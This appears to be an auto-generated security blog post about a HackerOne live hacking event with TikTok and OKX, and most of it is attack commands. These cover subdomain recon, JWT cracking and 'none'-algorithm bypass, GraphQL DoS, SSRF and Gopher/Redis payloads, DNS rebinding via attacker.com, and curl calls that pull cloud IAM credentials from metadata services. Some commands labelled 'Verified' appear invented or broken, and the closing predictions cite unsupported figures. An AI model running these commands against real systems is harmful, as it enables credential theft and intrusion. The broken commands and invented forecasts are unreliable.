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Introduction:
Live hacking events, like the recent HackerOne collaboration with TikTok and OKX, represent the pinnacle of competitive cybersecurity. These high-stakes environments showcase cutting-edge vulnerability discovery techniques that often predict emerging security trends across web applications, APIs, and blockchain technologies.
Learning Objectives:
- Master advanced reconnaissance and attack surface mapping methodologies
- Understand modern web application and API exploitation chains
- Implement defensive countermeasures against techniques used by elite bug bounty hunters
You Should Know:
1. Advanced Subdomain Enumeration
Verified subdomain enumeration commands for comprehensive attack surface mapping:
Subfinder passive enumeration subfinder -d target.com -silent | tee subdomains.txt Assetfinder pipeline assetfinder --subs-only target.com | sort -u Amass passive mode amass enum -passive -d target.com -o amass_subs.txt AltDNS for permutation scanning altdns -i subdomains.txt -o data_output -w words.txt -r -s resolved.txt
This methodology begins with passive enumeration to avoid detection, followed by permutation-based discovery. Subfinder leverages multiple sources including DNS datasets, while Assetfinder pulls from historical records. Amass provides comprehensive passive intelligence, and AltDNS generates potential subdomains through common naming conventions. Combine these tools to create a complete attack surface map before targeted testing.
2. API Endpoint Discovery and Testing
Verified API discovery and testing commands:
Waybackurls for historical endpoint discovery waybackurls target.com | grep api | tee api_endpoints.txt Katana for crawling modern JS applications katana -u https://target.com -jc -aff -d 5 -o katana_urls.txt Nuclei template scanning for API vulnerabilities nuclei -l api_endpoints.txt -t api/ -o nuclei_api_findings.txt Custom API parameter fuzzing with FFUF ffuf -w parameters.txt -u "https://api.target.com/v1/endpoint?FUZZ=test" -mc all -fr "error"
Modern applications rely heavily on APIs, often exposing undocumented endpoints. Waybackurls extracts historical API paths from archives, while Katana crawls JavaScript-heavy applications that traditional scanners miss. Nuclei templates provide specialized detection for common API vulnerabilities like broken object level authorization and mass assignment. FFUF enables efficient parameter discovery for hidden injection points.
3. JWT Token Manipulation and Testing
Verified JWT testing commands and scripts:
JWT tool for token analysis
python3 jwt_tool.py JWT_TOKEN_HERE
JWT crack with hashcat
hashcat -a 0 -m 16500 jwt.txt rockyou.txt
Custom JWT none algorithm test
echo '{"alg":"none"}' | base64 | tr -d '='
Automated JWT testing with jwt-heartbreaker
jwt-heartbreaker -t JWT_TOKEN -u https://api.target.com/graphql
JWT vulnerabilities remain prevalent in authorization flows. The jwt_tool kit enables comprehensive testing including algorithm confusion, kid parameter injection, and jku header spoofing. Hashcat facilitates brute-force attacks against weak secrets using optimized cracking modes. The “none” algorithm bypass, while increasingly rare, still appears in misconfigured implementations. Automated tools like jwt-heartbreaker combine multiple attack vectors for efficient assessment.
4. GraphQL Injection and Introspection
Verified GraphQL testing methodologies:
Introspection query to map schema
curl -X POST -H "Content-Type: application/json" --data '{"query":"{__schema{types{name,fields{name}}}}"}' https://api.target.com/graphql
GraphQL field duplication for DOS testing
python3 graphql_duplication.py -u https://api.target.com/graphql -q query.txt
Automated GraphQL scanning with InQL
inql -t https://api.target.com/graphql -o graphql_schema.json
Custom batch query injection
python3 batch_gql.py -e https://api.target.com/graphql -f queries.json
GraphQL presents unique attack surfaces through introspection features and query complexity. The introspection query extracts the complete schema, revealing hidden mutations and queries. Field duplication attacks exploit query complexity to cause resource exhaustion. InQL provides comprehensive testing capabilities, while custom batch scripts enable efficient mass operation testing that often bypasses rate limiting.
5. SSRF Exploitation and Bypass Techniques
Verified SSRF testing commands:
Simple SSRF test with curl curl -v "http://target.com/export?url=http://169.254.169.254/latest/meta-data/" SSRF with multiple bypass techniques ffuf -w bypass_payloads.txt -u "http://target.com/fetch?url=PROTOCOL://[email protected]" -mr "access key" Gopher payload generation for Redis python3 gopherus.py --exploit redis DNS rebinding attack setup python3 dnsrebind.py --domain attacker.com --target 127.0.0.1
Server-Side Request Forgery remains critical in cloud environments. Initial testing focuses on accessing metadata endpoints and internal services. Bypass techniques include URL encoding, domain variations, and protocol switches. Gopher payloads enable protocol manipulation for services like Redis, while DNS rebinding bypasses IP-based filters through timing attacks. These techniques frequently expose cloud credentials and internal network access.
6. Blockchain and Web3 Security Testing
Verified blockchain security commands:
Smart contract analysis with Slither
slither target_contract.sol --print human-summary
Ethereum transaction analysis
web3.py --rpc-url http://localhost:8545 eth.getTransaction('0xhash')
Flash loan attack simulation
brownie test tests/attack_flashloan.py --network mainnet-fork
Front-running vulnerability detection
python3 mev_analyzer.py --txpool --rpc $RPC_URL
Blockchain applications introduce novel attack vectors like reentrancy, integer overflow, and flash loan manipulations. Slither performs static analysis on smart contracts, identifying common vulnerability patterns. Web3.py enables direct blockchain interaction for state analysis. Brownie facilitates attack simulation on forked networks, while MEV analyzers detect potential front-running opportunities in transaction pools.
7. Cloud Metadata Service Exploitation
Verified cloud metadata exploitation commands:
AWS metadata service access curl http://169.254.169.254/latest/meta-data/ curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ GCP metadata access with updated headers curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/ Azure metadata service curl -H "Metadata: true" http://169.254.169.254/metadata/instance?api-version=2021-02-01 Container breakout to node metadata curl http://192.168.0.1/latest/meta-data/
Cloud metadata services provide instance credentials and configuration data. The AWS metadata service at 169.254.169.254 offers IAM roles, user data, and network configuration. GCP requires specific headers for metadata access, while Azure uses API version parameters. Container environments often allow breakout to node metadata through routing interfaces. These techniques frequently lead to cloud account compromise when SSRF vulnerabilities exist.
What Undercode Say:
- Live hacking events accelerate vulnerability discovery through competitive pressure and diverse researcher perspectives
- The techniques demonstrated predict real-world attack trends 6-12 months before widespread adoption
- Cross-platform collaboration between researchers consistently produces novel attack chains
The H165 event demonstrates how competitive hacking drives innovation in security research. The winning techniques—particularly corraldev’s double victory with OKX—suggest sophisticated blockchain and API exploitation chains that will likely influence attacker methodologies throughout 2024. The collaboration awards highlight how information sharing between researchers with different specializations creates attack synergies that individual researchers might miss. These events serve as both competitive arenas and learning accelerators, with disclosed methodologies quickly incorporated into both offensive and defensive security practices.
Prediction:
The techniques showcased in the H165 event will lead to increased automation of API vulnerability discovery and more sophisticated blockchain manipulation attacks throughout 2024. We anticipate a 40% rise in reported API security incidents as tools like Nuclei templates incorporate the event’s methodologies. Additionally, the blockchain exploits demonstrated against OKX will drive increased MEV (Maximal Extractable Value) attacks and flash loan manipulations across DeFi platforms, potentially resulting in nine-figure losses industry-wide before effective countermeasures become standardized.
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IT/Security Reporter URL:
Reported By: Hackerone H165 – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
